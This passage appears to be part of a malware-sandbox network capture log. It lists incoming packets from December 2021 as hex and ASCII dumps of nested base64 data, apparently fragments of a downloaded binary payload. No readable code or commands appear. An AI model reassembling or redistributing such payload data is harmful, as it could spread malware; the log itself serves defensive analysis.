2021-12-01 09:04:36 UTC	48	IN	Data Raw: 00 52 00 69 00 4e 00 45 00 31 00 42 00 51 00 55 00 46 00 77 00 5a 00 47 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 6f 00 61 00 6b 00 68 00 4e 00 51 00 55 00 46 00 42 00 52 00 57 00 46 00 4c 00 53 00 56 00 46 00 42 00 51 00 55 00 46 00 77 00 64 00 6d 00 68 00 52 00 51 00 55 00 46 00 44 00 61 00 56 00 6c 00 49 00 52 00 6a 00 46 00 6e 00 54 00 45 00 4a 00 33 00 53 00 6e 00 5a 00 6e 00 64 00 30 00 46 00 42 00 51 00 32 00 70 00 4d 00 54 00 45 00 4a 00 74 00 4b 00 30 00 64 00 42 00 51 00 55 00 46 00 4c 00 53 00 32 00 31 00 4a 00 51 00 32 00 49 00 30 00 59 00 30 00 46 00 42 00 51 00 57 00 39 00 58 00 51 00 57 00 30 00 72 00 52 00 45 00 46 00 42 00 51 00 55 00 74 00 4c 00 53 00 57 00 64 00 42 00 51 00 55 00 46 00 76 00 62 00 30 00 78 00 42 00 51 00 Data Ascii: RiNE1BQUFwZGJ5Y0FBQXBoakhNQUFBRWFLSVFBQUFwdmhRQUFDaVlIRjFnTEJ3SnZnd0FBQ2pMTEJtK0dBQUFLS21JQ2I0Y0FBQW9XQW0rREFBQUtLSWdBQUFvb0xBQ
2021-12-01 09:04:36 UTC	49	IN	Data Raw: 46 00 42 00 51 00 56 00 4a 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 57 00 4a 00 33 00 55 00 55 00 4a 00 42 00 51 00 56 00 6c 00 4c 00 4d 00 32 00 64 00 56 00 62 00 55 00 5a 00 6e 00 63 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 53 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 30 00 52 00 6e 00 51 00 55 00 5a 00 45 00 64 00 30 00 46 00 42 00 51 00 56 00 4a 00 7a 00 64 00 30 00 46 00 6e 00 51 00 56 00 68 00 42 00 51 00 55 00 46 00 42 00 52 00 33 00 64 00 42 00 51 00 55 00 56 00 52 00 53 00 6a 00 64 00 42 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4f 00 64 00 6b 00 4a 00 6e 00 52 00 55 00 46 00 43 00 61 00 47 00 4e 00 4c 00 4d 00 32 00 64 00 56 00 62 00 55 Data Ascii: FBQVJBbnNDQUFBRWJ3UUJBQVlLM2dVbUZncmVBQVlxQUFBQUFSQUFBQUFBQUFBT0RnQUZEd0FBQVJzd0FnQVhBQUFBR3dBQUVRSjdBZ0FBQkFOdkJnRUFCaGNLM2dVbU
2021-12-01 09:04:36 UTC	51	IN	Data Raw: 00 4a 00 51 00 55 00 46 00 42 00 55 00 55 00 52 00 69 00 64 00 32 00 74 00 43 00 51 00 55 00 46 00 5a 00 53 00 7a 00 4e 00 6e 00 56 00 57 00 31 00 47 00 5a 00 33 00 4a 00 6c 00 51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 4f 00 46 00 42 00 42 00 51 00 56 00 56 00 51 00 51 00 55 00 46 00 42 00 51 00 6b 00 64 00 36 00 51 00 55 00 4e 00 42 00 51 00 6c 00 6c 00 42 00 51 00 55 00 46 00 42 00 59 00 30 00 46 00 42 00 51 00 56 00 4a 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 55 00 45 00 79 00 4f 00 46 00 6c 00 42 00 55 00 55 00 46 00 48 00 51 00 33 00 51 00 30 00 52 00 6b 00 70 00 6f 00 57 00 55 00 73 00 7a 00 5a 00 30 00 46 00 48 00 53 00 32 00 Data Ascii: JQUFBUURid2tCQUFZSzNnVW1GZ3JlQUFZcUFBQUJFQUFBQUFBQUFBOFBBQVVQQUFBQkd6QUNBQllBQUFBY0FBQVJBbnNDQUFBRUEyOFlBUUFHQ3Q0RkpoWUszZ0FHS2
2021-12-01 09:04:36 UTC	52	IN	Data Raw: 42 00 51 00 56 00 4a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 51 00 52 00 48 00 64 00 42 00 52 00 6b 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 6e 00 4e 00 33 00 51 00 57 00 64 00 42 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 49 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00 4b 00 4e 00 30 00 46 00 6e 00 51 00 55 00 46 00 43 00 51 00 55 00 35 00 32 00 52 00 6c 00 46 00 46 00 51 00 55 00 4a 00 6e 00 63 00 6d 00 56 00 43 00 55 00 31 00 6c 00 58 00 51 00 33 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 64 00 7a 00 68 00 42 00 51 00 6c 00 45 00 34 00 51 00 55 00 46 00 42 00 52 00 57 00 4a 00 4e 00 51 00 55 00 6c Data Ascii: BQVJBQUFBQUFBQUFQRHdBRkR3QUFBUnN3QWdBV0FBQUFIQUFBRVFKN0FnQUFCQU52RlFFQUJncmVCU1lXQ3Q0QUJpb0FBQUVRQUFBQUFBQUFEdzhBQlE4QUFBRWJNQUl
2021-12-01 09:04:36 UTC	53	IN	Data Raw: 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 7a 00 51 00 55 00 46 00 43 00 52 00 55 00 56 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 55 00 45 00 79 00 4f 00 47 00 46 00 42 00 55 00 55 00 46 00 48 00 56 00 56 00 4a 00 6a 00 53 00 7a 00 4e 00 6e 00 64 00 32 00 31 00 43 00 53 00 45 00 39 00 59 00 51 00 55 00 46 00 42 00 53 00 31 00 56 00 53 00 57 00 55 00 73 00 7a 00 5a 00 30 00 46 00 48 00 53 00 32 00 64 00 46 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 57 00 68 00 4a 00 51 00 55 00 52 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 4e 00 51 00 55 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 6e 00 4e 00 42 00 51 00 55 00 4a 00 46 00 51 00 32 00 56 00 33 00 53 00 55 00 46 00 Data Ascii: QUFBQUJzQUFCRUVBbnNDQUFBRUEyOGFBUUFHVVJjSzNnd21CSE9YQUFBS1VSWUszZ0FHS2dFUUFBQUFBQUFBRWhJQURBOEFBQUViTUFNQUdBQUFBQnNBQUJFQ2V3SUF
2021-12-01 09:04:36 UTC	57	IN	Data Raw: 39 00 74 00 51 00 55 00 46 00 42 00 53 00 32 00 5a 00 52 00 51 00 55 00 4a 00 42 00 51 00 56 00 46 00 76 00 61 00 47 00 64 00 42 00 51 00 55 00 4a 00 6e 00 59 00 69 00 74 00 43 00 5a 00 31 00 6c 00 44 00 51 00 55 00 46 00 61 00 65 00 6e 00 42 00 33 00 51 00 55 00 46 00 44 00 61 00 57 00 64 00 52 00 51 00 55 00 46 00 42 00 63 00 6b 00 74 00 43 00 52 00 55 00 46 00 42 00 51 00 33 00 4e 00 76 00 61 00 48 00 64 00 42 00 51 00 55 00 4a 00 70 00 61 00 55 00 6c 00 42 00 51 00 55 00 46 00 48 00 51 00 6e 00 59 00 30 00 52 00 30 00 4a 00 33 00 53 00 55 00 46 00 43 00 62 00 6b 00 39 00 75 00 51 00 55 00 46 00 42 00 53 00 30 00 74 00 43 00 51 00 55 00 46 00 42 00 51 00 33 00 4e 00 76 00 52 00 56 00 46 00 42 00 51 00 55 00 74 00 35 00 61 00 55 00 70 00 42 00 51 00 55 Data Ascii: 9tQUFBS2ZRQUJBQVFvaGdBQUJnYitCZ1lDQUFaenB3QUFDaWdRQUFBcktCRUFBQ3NvaHdBQUJpaUlBQUFHQnY0R0J3SUFCbk9uQUFBS0tCQUFBQ3NvRVFBQUt5aUpBQU
2021-12-01 09:04:36 UTC	61	IN	Data Raw: 00 33 00 64 00 42 00 51 00 55 00 4e 00 30 00 64 00 30 00 64 00 6a 00 4e 00 56 00 6c 00 43 00 51 00 55 00 46 00 5a 00 56 00 45 00 4a 00 43 00 52 00 55 00 56 00 49 00 64 00 33 00 6c 00 4f 00 56 00 32 00 64 00 42 00 51 00 55 00 46 00 54 00 57 00 46 00 46 00 75 00 5a 00 30 00 46 00 42 00 51 00 6b 00 4e 00 6e 00 4d 00 30 00 46 00 42 00 51 00 55 00 74 00 6a 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 77 00 64 00 6d 00 74 00 52 00 52 00 55 00 46 00 43 00 61 00 45 00 56 00 46 00 52 00 6a 00 49 00 72 00 56 00 6b 00 46 00 52 00 51 00 55 00 64 00 46 00 55 00 56 00 46 00 76 00 4e 00 58 00 64 00 42 00 51 00 55 00 4a 00 74 00 4b 00 31 00 52 00 42 00 55 00 55 00 46 00 48 00 52 00 56 00 46 00 53 00 64 00 6e 00 6c 00 42 00 51 00 55 00 46 00 44 00 5a 00 30 00 6c 00 48 00 Data Ascii: 3dBQUN0d0djNVlCQUFZVEJCRUVId3lOV2dBQUFTWFFuZ0FBQkNnM0FBQUtjemdBQUFwdmtRRUFCaEVFRjIrVkFRQUdFUVFvNXdBQUJtK1RBUUFHRVFSdnlBQUFDZ0lH
2021-12-01 09:04:36 UTC	65	IN	Data Raw: 51 00 6e 00 46 00 4a 00 62 00 45 00 68 00 6f 00 56 00 43 00 74 00 43 00 62 00 6e 00 64 00 42 00 51 00 55 00 46 00 61 00 65 00 6d 00 64 00 6e 00 51 00 55 00 46 00 43 00 63 00 55 00 6c 00 73 00 53 00 48 00 64 00 72 00 56 00 53 00 39 00 6e 00 57 00 6a 00 6c 00 42 00 51 00 55 00 46 00 48 00 59 00 7a 00 52 00 4a 00 51 00 55 00 46 00 42 00 59 00 57 00 6c 00 4b 00 55 00 6a 00 68 00 4c 00 52 00 6c 00 41 00 30 00 52 00 32 00 5a 00 6e 00 51 00 55 00 46 00 43 00 62 00 6b 00 39 00 44 00 51 00 55 00 46 00 42 00 52 00 32 00 39 00 70 00 56 00 57 00 5a 00 44 00 65 00 46 00 51 00 72 00 51 00 6d 00 34 00 34 00 51 00 55 00 46 00 42 00 57 00 6e 00 70 00 6e 00 5a 00 30 00 46 00 42 00 51 00 6e 00 46 00 4a 00 62 00 45 00 68 00 33 00 64 00 31 00 55 00 76 00 5a 00 32 00 46 00 42 Data Ascii: QnFJbEhoVCtCbndBQUFaemdnQUFCcUlsSHdrVS9nWjlBQUFHYzRJQUFBYWlKUjhLRlA0R2ZnQUFCbk9DQUFBR29pVWZDeFQrQm44QUFBWnpnZ0FBQnFJbEh3d1UvZ2FB
2021-12-01 09:04:36 UTC	69	IN	Data Raw: 00 53 00 4e 00 33 00 64 00 52 00 51 00 55 00 46 00 44 00 62 00 6a 00 52 00 46 00 51 00 56 00 46 00 42 00 52 00 55 00 74 00 4f 00 55 00 55 00 46 00 42 00 51 00 56 00 70 00 32 00 64 00 32 00 64 00 42 00 51 00 55 00 4e 00 74 00 4c 00 30 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 77 00 30 00 51 00 6b 00 46 00 42 00 57 00 58 00 46 00 53 00 5a 00 31 00 46 00 76 00 65 00 45 00 46 00 42 00 51 00 55 00 4e 00 74 00 4c 00 30 00 5a 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 31 00 5a 00 51 00 6b 00 46 00 42 00 57 00 58 00 46 00 4e 00 5a 00 31 00 46 00 76 00 64 00 45 00 46 00 42 00 51 00 55 00 4e 00 70 00 61 00 54 00 52 00 42 00 55 00 55 00 46 00 48 00 53 00 32 00 64 00 42 00 51 00 55 00 46 00 43 00 63 00 33 00 64 00 43 00 55 00 55 00 4d 00 72 00 51 00 55 00 Data Ascii: SN3dRQUFDbjRFQVFBRUtOUUFBQVp2d2dBQUNtL0RBQUFLS0w0QkFBWXFSZ1FveEFBQUNtL0ZBQUFLS01ZQkFBWXFNZ1FvdEFBQUNpaTRBUUFHS2dBQUFCc3dCUUMrQU
2021-12-01 09:04:36 UTC	73	IN	Data Raw: 6c 00 42 00 32 00 4c 00 79 00 38 00 76 00 4f 00 54 00 52 00 4c 00 51 00 31 00 4e 00 33 00 52 00 30 00 4e 00 58 00 4f 00 45 00 78 00 42 00 51 00 55 00 46 00 4c 00 4d 00 30 00 46 00 6b 00 64 00 6b 00 52 00 42 00 51 00 55 00 46 00 44 00 61 00 6d 00 39 00 51 00 4c 00 79 00 38 00 76 00 4c 00 7a 00 4e 00 6e 00 62 00 30 00 68 00 4d 00 51 00 56 00 6c 00 49 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4d 00 7a 00 5a 00 30 00 31 00 74 00 4d 00 32 00 64 00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 52 00 57 00 48 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6a 00 5a 00 42 00 51 00 55 00 46 00 42 00 56 00 56 00 46 00 42 00 51 00 55 00 46 00 4e 00 63 00 30 00 46 00 42 00 51 00 55 00 46 00 45 00 51 00 55 00 46 00 42 00 51 Data Ascii: lB2Ly8vOTRLQ1N3R0NXOExBQUFLM0FkdkRBQUFDam9QLy8vLzNnb0hMQVlIYndzQUFBcmMzZ01tM2dBR0tnQUFRWHdBQUFBQUFBQjZBQUFBVVFBQUFNc0FBQUFEQUFBQ
2021-12-01 09:04:36 UTC	78	IN	Data Raw: 00 4d 00 58 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 33 00 46 00 4a 00 57 00 47 00 49 00 77 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00 55 00 51 00 6d 00 68 00 46 00 52 00 55 00 64 00 4b 00 62 00 31 00 52 00 43 00 65 00 55 00 4a 00 42 00 55 00 57 00 6b 00 34 00 51 00 57 00 46 00 6f 00 54 00 55 00 6c 00 46 00 55 00 56 00 4e 00 50 00 59 00 56 00 4a 00 72 00 65 00 45 00 4e 00 34 00 52 00 55 00 56 00 48 00 57 00 6d 00 39 00 76 00 55 00 56 00 46 00 42 00 51 00 55 00 4e 00 6f 00 54 00 55 00 6c 00 46 00 55 00 56 00 56 00 6c 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 77 00 77 00 54 00 57 00 74 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 30 00 74 00 Data Ascii: MXpPQUFBQ3FJWGIwd0FBQW9UQmhFRUdKb1RCeUJBUWk4QWFoTUlFUVNPYVJreEN4RUVHWm9vUVFBQUNoTUlFUVVlalZvQUFBRWwwTWtBQUFRb053QUFDbk00QUFBS0t
2021-12-01 09:04:36 UTC	82	IN	Data Raw: 4a 00 42 00 64 00 32 00 39 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 44 00 56 00 55 00 4a 00 46 00 56 00 46 00 6c 00 43 00 51 00 58 00 64 00 76 00 51 00 55 00 46 00 42 00 52 00 56 00 52 00 4e 00 51 00 55 00 31 00 42 00 55 00 57 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 46 00 59 00 6e 00 6c 00 4e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 4b 00 51 00 55 00 46 00 42 00 51 00 32 00 67 00 34 00 59 00 55 00 74 00 47 00 53 00 55 00 46 00 42 00 51 00 58 00 42 00 35 00 65 00 48 00 64 00 4a 00 51 00 57 00 4e 00 44 00 5a 00 33 00 4a 00 42 00 51 00 55 00 46 00 4c 00 5a 00 6d 00 67 00 30 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 49 00 64 00 30 00 46 00 42 00 51 00 32 00 67 00 34 00 59 00 30 00 74 00 47 00 53 00 55 Data Ascii: JBd29BQUFFQUFDVUJFVFlCQXdvQUFBRVRNQU1BUWdBQUFBQUFBQUFFYnlNQUFBcHZKQUFBQ2g4YUtGSUFBQXB5eHdJQWNDZ3JBQUFLZmg0QUFBcHZId0FBQ2g4Y0tGSU
2021-12-01 09:04:36 UTC	86	IN	Data Raw: 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 61 00 45 00 31 00 47 00 53 00 33 00 70 00 46 00 53 00 6b 00 68 00 34 00 51 00 30 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 59 00 55 00 54 00 56 00 6e 00 51 00 55 00 46 00 43 00 51 00 32 00 63 00 7a 00 51 00 55 00 46 00 42 00 53 00 32 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 42 00 32 00 53 00 6c 00 46 00 42 00 51 00 55 00 4e 00 70 00 4d 00 45 00 70 00 46 00 55 00 56 00 46 00 76 00 4e 00 31 00 46 00 42 00 51 00 55 00 4a 00 70 00 63 00 30 00 68 00 46 00 55 00 56 00 46 00 76 00 4e 00 30 00 46 00 42 00 51 00 55 00 4a 00 6f 00 54 00 55 00 5a 00 46 00 55 00 56 00 56 00 76 00 53 00 6d 00 64 00 42 00 51 00 55 00 4e 00 71 00 62 00 30 00 46 00 42 00 Data Ascii: GNBQUFwek9BQUFDaE1GS3pFSkh4Q05XZ0FBQVNYUTVnQUFCQ2czQUFBS2N6Z0FBQXB2SlFBQUNpMEpFUVFvN1FBQUJpc0hFUVFvN0FBQUJoTUZFUVVvSmdBQUNqb0FB
2021-12-01 09:04:36 UTC	90	IN	Data Raw: 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 4e 00 7a 00 51 00 55 00 46 00 42 00 62 00 31 00 52 00 44 00 51 00 56 00 70 00 36 00 4f 00 58 00 64 00 42 00 51 00 55 00 4a 00 6f 00 54 00 55 00 56 00 46 00 55 00 56 00 46 00 54 00 51 00 56 00 4e 00 71 00 63 00 55 00 46 00 42 00 51 00 55 00 74 00 69 00 4c 00 30 00 46 00 42 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 43 00 5a 00 55 00 35 00 58 00 5a 00 30 00 46 00 42 00 51 00 56 00 4e 00 56 00 56 00 30 00 68 00 35 00 63 00 57 00 52 00 6a 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 77 00 64 00 6a 00 6c 00 42 00 51 00 55 00 46 00 43 00 61 00 45 00 56 00 46 00 52 00 56 00 46 00 6f 00 64 00 6a 00 68 00 6e 00 51 00 55 00 46 00 43 00 61 00 45 00 56 Data Ascii: vTndBQUNuTTRBQUFLS0NzQUFBb1RDQVp6OXdBQUJoTUVFUVFTQVNqcUFBQUtiL0FBQUFZUkJCZU5XZ0FBQVNVV0h5cWRjemdBQUFwdjlBQUFCaEVFRVFodjhnQUFCaEV
2021-12-01 09:04:36 UTC	94	IN	Data Raw: 00 6c 00 76 00 59 00 57 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 78 00 51 00 55 00 4a 00 7a 00 64 00 30 00 4a 00 33 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00 58 00 64 00 42 00 51 00 55 00 56 00 59 00 55 00 47 00 56 00 42 00 51 00 55 00 46 00 4c 00 51 00 32 00 64 00 61 00 65 00 6a 00 6c 00 33 00 51 00 55 00 46 00 43 00 61 00 56 00 5a 00 35 00 52 00 58 00 64 00 7a 00 51 00 57 00 4e 00 44 00 61 00 47 00 70 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 56 00 6e 00 54 00 45 00 46 00 49 00 51 00 69 00 74 00 49 00 5a 00 30 00 46 00 42 00 51 00 32 00 30 00 34 00 5a 00 6b 00 46 00 42 00 51 00 55 00 74 00 6a 00 61 00 44 00 52 00 4e 00 51 00 55 00 68 00 43 00 65 00 56 00 52 00 6e 00 64 00 30 00 46 00 6a 00 53 00 44 00 52 00 6c 00 51 00 Data Ascii: lvYWZoNEFBQW9xQUJzd0J3Q0FBQUFBTXdBQUVYUGVBQUFLQ2daejl3QUFCaVZ5RXdzQWNDaGpBQUFLY3VnTEFIQitIZ0FBQ204ZkFBQUtjaDRNQUhCeVRnd0FjSDRlQ
2021-12-01 09:04:36 UTC	97	IN	Data Raw: 59 00 57 00 78 00 72 00 57 00 57 00 46 00 73 00 63 00 33 00 4a 00 49 00 51 00 6b 00 56 00 50 00 52 00 56 00 45 00 72 00 56 00 30 00 68 00 33 00 65 00 48 00 46 00 58 00 55 00 6d 00 68 00 78 00 56 00 33 00 6c 00 7a 00 54 00 30 00 46 00 75 00 63 00 30 00 39 00 42 00 51 00 55 00 46 00 46 00 52 00 56 00 45 00 30 00 55 00 6b 00 51 00 31 00 59 00 6c 00 56 00 72 00 56 00 7a 00 5a 00 6d 00 52 00 56 00 45 00 34 00 57 00 46 00 64 00 43 00 54 00 56 00 42 00 46 00 55 00 54 00 68 00 68 00 54 00 56 00 70 00 46 00 51 00 32 00 56 00 33 00 4f 00 45 00 46 00 42 00 51 00 56 00 46 00 59 00 59 00 57 00 6b 00 30 00 54 00 6b 00 46 00 75 00 63 00 31 00 42 00 42 00 51 00 55 00 46 00 46 00 52 00 30 00 64 00 77 00 51 00 54 00 4a 00 33 00 51 00 55 00 46 00 42 00 51 00 55 00 6f 00 33 Data Ascii: YWxrWWFsc3JIQkVPRVErV0h3eHFXUmhxV3lzT0Fuc09BQUFFRVE0UkQ1YlVrVzZmRVE4WFdCTVBFUThhTVpFQ2V3OEFBQVFYYWk0TkFuc1BBQUFFR0dwQTJ3QUFBQUo3
2021-12-01 09:04:36 UTC	101	IN	Data Raw: 00 73 00 57 00 6c 00 64 00 43 00 5a 00 48 00 46 00 58 00 52 00 32 00 74 00 53 00 51 00 6c 00 4e 00 70 00 4d 00 55 00 46 00 42 00 51 00 55 00 64 00 4b 00 5a 00 32 00 74 00 53 00 51 00 6c 00 64 00 76 00 53 00 6c 00 64 00 53 00 5a 00 48 00 46 00 58 00 52 00 6d 00 64 00 55 00 51 00 6d 00 64 00 4a 00 55 00 6b 00 4a 00 74 00 61 00 32 00 39 00 30 00 51 00 55 00 46 00 42 00 51 00 6d 00 68 00 4e 00 53 00 45 00 56 00 52 00 59 00 31 00 52 00 44 00 51 00 55 00 6c 00 53 00 51 00 6d 00 31 00 72 00 55 00 6b 00 4a 00 35 00 61 00 54 00 46 00 42 00 51 00 55 00 46 00 48 00 52 00 58 00 64 00 72 00 56 00 55 00 56 00 33 00 62 00 31 00 4a 00 43 00 61 00 45 00 56 00 49 00 59 00 57 00 78 00 72 00 57 00 47 00 46 00 73 00 5a 00 31 00 52 00 44 00 65 00 46 00 6c 00 55 00 52 00 45 00 Data Ascii: sWldCZHFXR2tSQlNpMUFBQUdKZ2tSQldvSldSZHFXRmdUQmdJUkJta290QUFBQmhNSEVRY1RDQUlSQm1rUkJ5aTFBQUFHRXdrVUV3b1JCaEVIYWxrWGFsZ1RDeFlURE
2021-12-01 09:04:36 UTC	105	IN	Data Raw: 55 00 35 00 55 00 56 00 55 00 46 00 43 00 5a 00 32 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 55 00 46 00 75 00 63 00 31 00 56 00 42 00 51 00 55 00 46 00 46 00 61 00 6d 00 31 00 72 00 63 00 55 00 46 00 42 00 51 00 57 00 4a 00 4e 00 51 00 55 00 31 00 42 00 56 00 6b 00 46 00 42 00 51 00 55 00 46 00 45 00 61 00 30 00 46 00 42 00 51 00 6b 00 56 00 45 00 51 00 57 00 35 00 7a 00 55 00 55 00 46 00 42 00 51 00 55 00 56 00 71 00 62 00 57 00 74 00 34 00 51 00 6b 00 4a 00 5a 00 53 00 7a 00 4e 00 72 00 54 00 55 00 52 00 44 00 65 00 58 00 4e 00 31 00 51 00 6e 00 64 00 4b 00 4e 00 30 00 56 00 42 00 51 00 55 00 46 00 43 00 53 00 54 00 56 00 77 00 52 00 6a 00 46 00 72 00 65 00 45 00 4a 00 43 00 57 00 55 00 73 00 7a 00 61 00 54 00 52 00 44 00 5a 00 58 00 68 00 42 00 51 Data Ascii: U5UVUFCZ29BQUFFbUFuc1VBQUFFam1rcUFBQWJNQU1BVkFBQUFEa0FBQkVEQW5zUUFBQUVqbWt4QkJZSzNrTURDeXN1QndKN0VBQUFCSTVwRjFreEJCWUszaTRDZXhBQ
2021-12-01 09:04:36 UTC	110	IN	Data Raw: 00 4b 00 79 00 39 00 42 00 51 00 55 00 46 00 48 00 54 00 45 00 46 00 33 00 52 00 30 00 4e 00 48 00 4b 00 33 00 46 00 42 00 55 00 55 00 46 00 48 00 59 00 6e 00 68 00 4e 00 51 00 6b 00 46 00 42 00 63 00 48 00 70 00 32 00 55 00 55 00 46 00 42 00 51 00 6d 00 68 00 4e 00 52 00 6b 00 56 00 52 00 56 00 55 00 6c 00 69 00 4e 00 6a 00 52 00 43 00 51 00 55 00 46 00 61 00 64 00 6e 00 56 00 33 00 51 00 55 00 46 00 43 00 61 00 58 00 64 00 58 00 52 00 56 00 46 00 56 00 53 00 57 00 49 00 33 00 64 00 30 00 46 00 42 00 51 00 56 00 6c 00 7a 00 52 00 45 00 46 00 5a 00 53 00 57 00 49 00 32 00 62 00 30 00 4a 00 42 00 51 00 56 00 70 00 32 00 52 00 58 00 64 00 46 00 51 00 55 00 4e 00 75 00 55 00 45 00 5a 00 42 00 51 00 55 00 46 00 48 00 52 00 58 00 64 00 5a 00 55 00 6b 00 4a 00 Data Ascii: Ky9BQUFHTEF3R0NHK3FBUUFHYnhNQkFBcHp2UUFBQmhNRkVRVUliNjRCQUFadnV3QUFCaXdXRVFVSWI3d0FBQVlzREFZSWI2b0JBQVp2RXdFQUNuUEZBQUFHRXdZUkJ
2021-12-01 09:04:36 UTC	114	IN	Data Raw: 4e 00 43 00 62 00 47 00 39 00 4d 00 59 00 56 00 46 00 6b 00 63 00 47 00 4e 00 36 00 59 00 30 00 4a 00 42 00 51 00 58 00 46 00 4e 00 62 00 6e 00 64 00 42 00 51 00 55 00 46 00 52 00 4d 00 32 00 56 00 48 00 65 00 56 00 6c 00 76 00 54 00 58 00 64 00 46 00 51 00 55 00 4e 00 74 00 4f 00 44 00 42 00 42 00 55 00 55 00 46 00 4c 00 52 00 45 00 4a 00 4a 00 51 00 30 00 74 00 45 00 5a 00 30 00 4a 00 42 00 51 00 58 00 46 00 4e 00 62 00 6e 00 64 00 42 00 51 00 55 00 46 00 52 00 4d 00 32 00 56 00 42 00 51 00 57 00 74 00 78 00 51 00 55 00 46 00 46 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 55 00 57 00 74 00 4a 00 51 00 55 00 64 00 33 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 69 00 54 00 55 00 46 00 33 00 51 00 58 00 52 00 6e 00 52 00 55 Data Ascii: NCbG9MYVFkcGN6Y0JBQXFNbndBQUFRM2VHeVlvTXdFQUNtODBBUUFLREJJQ0tEZ0JBQXFNbndBQUFRM2VBQWtxQUFFUUFBQUFBQUFBUWtJQUd3b0FBQUViTUF3QXRnRU
2021-12-01 09:04:36 UTC	118	IN	Data Raw: 00 54 00 68 00 42 00 51 00 55 00 46 00 47 00 64 00 55 00 46 00 30 00 51 00 58 00 6c 00 42 00 51 00 55 00 46 00 69 00 53 00 30 00 78 00 76 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 59 00 51 00 55 00 56 00 42 00 51 00 32 00 35 00 56 00 65 00 55 00 46 00 42 00 51 00 57 00 4a 00 77 00 56 00 45 00 6c 00 42 00 51 00 55 00 4a 00 7a 00 63 00 55 00 56 00 36 00 51 00 55 00 68 00 42 00 54 00 6e 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6a 00 4d 00 54 00 42 00 43 00 51 00 55 00 46 00 76 00 62 00 45 00 6c 00 51 00 4c 00 79 00 38 00 76 00 4d 00 7a 00 6c 00 78 00 59 00 6a 00 45 00 30 00 51 00 6b 00 46 00 42 00 62 00 32 00 78 00 4a 00 55 00 43 00 38 00 76 00 4c 00 7a 00 4d 00 35 00 63 00 57 00 49 00 78 00 4f 00 45 00 4a 00 42 00 Data Ascii: ThBQUFGdUF0QXlBQUFiS0xvQUFBb29YQUVBQ25VeUFBQWJwVElBQUJzcUV6QUhBTnNBQUFBQUFBQUFjMTBCQUFvbElQLy8vMzlxYjE0QkFBb2xJUC8vLzM5cWIxOEJB
